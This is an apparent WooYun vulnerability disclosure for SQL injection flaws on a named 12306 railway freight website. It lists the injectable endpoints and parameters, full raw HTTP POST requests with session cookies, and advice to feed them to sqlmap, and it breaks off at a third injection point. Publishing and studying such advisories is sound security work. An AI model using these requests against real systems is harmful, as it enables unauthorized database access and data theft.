中国铁道科学研究院（12306）多处SQL注入漏洞 | wooyun-2014-059597

漏洞概要关注数(24) 关注此漏洞

缺陷编号：

wooyun-2014-059597

漏洞标题：

中国铁道科学研究院（12306）多处SQL注入漏洞

漏洞详情

披露状态：

2014-05-06：细节已通知厂商并且等待厂商处理中
2014-05-06：厂商已经确认，细节仅向厂商公开
2014-05-16：细节向核心白帽子及相关领域专家公开
2014-05-26：细节向普通白帽子公开
2014-06-05：细节向实习白帽子公开
2014-06-20：细节向公众公开

简要描述：

中国铁道科学研究院（12306）多处SQL注入漏洞

详细说明：

中国铁道科学研究院
注入点：hyfw.12306.cn/hyinfo/action/JgxxAction_jsjjfl
构造数据包：

POST /hyinfo/action/JgxxAction_jsjjfl HTTP/1.1
Host: hyfw.12306.cn
Proxy-Connection: keep-alive
Content-Length: 6
Accept: */*
Origin: http://hyfw.12306.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://hyfw.12306.cn/hyinfo/action/JgxxAction_index?type=2
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: TVvHsVfkbo=MDAwM2IyOWE2NjgwMDAwMDAwMDIwFnwgVT8xMzk5MzMyNjQw; JSESSIONID=3cyKTnzdgfCC1kvQD0plHnsHt0cvHXDKgXBJBfrpD5Xm91VjnTtL!182003097; JhVfuvhdaD=MDAwM2IyOWFhMDAwMDAwMDAwMDgwCx1OITUxMzk5MzI5NzE2; 0Bnf0WSH3k=MDAwM2IyNTNkYjAwMDAwMDAwMjIwRFUvU1UxMzk5MzMxMDc5
lx=jzx

直接扔sqlmap即可注出
第二处SQL注射：
注入点：hyfw.12306.cn/hyinfo/action/JgxxAction_pmplxx
注入参数：pm
构造数据包

POST /hyinfo/action/JgxxAction_pmplxx HTTP/1.1
Host: hyfw.12306.cn
Proxy-Connection: keep-alive
Content-Length: 46
Accept: */*
Origin: http://hyfw.12306.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://hyfw.12306.cn/hyinfo/action/JgxxAction_index?type=3
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: TVvHsVfkbo=MDAwM2IyOWE2NjgwMDAwMDAwMDIwFnwgVT8xMzk5MzMyNjQw; JSESSIONID=3cyKTnzdgfCC1kvQD0plHnsHt0cvHXDKgXBJBfrpD5Xm91VjnTtL!182003097; JhVfuvhdaD=MDAwM2IyOWFhMDAwMDAwMDAwMDgwCx1OITUxMzk5MzI5NzE2; 0Bnf0WSH3k=MDAwM2IyNTNkYjAwMDAwMDAwMjIwRFUvU1UxMzk5MzMxMDc5
pl=0260&pm=0110003&plfh=0260&pmfh=0110003&bs=1

SQLMAP即可注出
第三处SQL注入点：
注入点：http://hyfw.12306.cn/hyinfo/action/JgxxAction_hwyjl?lx=00